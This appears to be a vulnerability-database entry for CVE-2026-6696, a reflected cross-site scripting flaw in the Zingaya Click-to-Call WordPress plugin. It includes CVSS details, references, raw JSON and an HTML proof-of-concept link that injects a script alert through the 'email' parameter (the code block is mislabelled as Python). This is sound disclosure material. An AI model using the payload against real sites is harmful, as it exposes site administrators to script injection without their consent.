CVE-2026-6696

Description

The Zingaya Click-to-Call plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'email', 'first_name', 'last_name', and 'phone' parameters on the plugin's sign-up admin page in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Zingaya Click-to-Call <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-6696
Vulnerable Parameters: email, first_name, last_name, phone
-->

<html>
<body>
<h2>CVE-2026-6696 XSS PoC</h2>
<p>Click the link below to trigger the XSS:</p>

<!--
The vulnerability is on the plugin's sign-up admin page.
Replace 'target-site.com' with the actual WordPress site URL.
The payload injects a simple alert script to demonstrate execution.
-->

<a href="http://target-site.com/wp-admin/admin.php?page=zingaya_signup&email=<script>alert('XSS_CVE-2026-6696')</script>&first_name=test&last_name=test&phone=123">
  Exploit Link
</a>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6696
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6696
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6696/
[4] VulDB https://vuldb.com/cve/CVE-2026-6696
[5] https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L104
[6] https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L62
[7] https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L71
[8] https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L79
[9] https://wordpress.org/plugins/zingaya-click-to-call/
[10] https://www.wordfence.com/threat-intel/vulnerabilities/id/5bdd515c-6b52-467c-9446-6ae9b3b75e50?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6696", "sourceIdentifier": "[email protected]", "published": "2026-05-05T03:16:00.423", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Zingaya Click-to-Call plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'email', 'first_name', 'last_name', and 'phone' parameters on the plugin's sign-up admin page in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L62", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/zingaya-click-to-call/tags/1.0/zingaya-admin.php#L79", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/zingaya-click-to-call/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5bdd515c-6b52-467c-9446-6ae9b3b75e50?source=cve", "source": "[email protected]"}]}}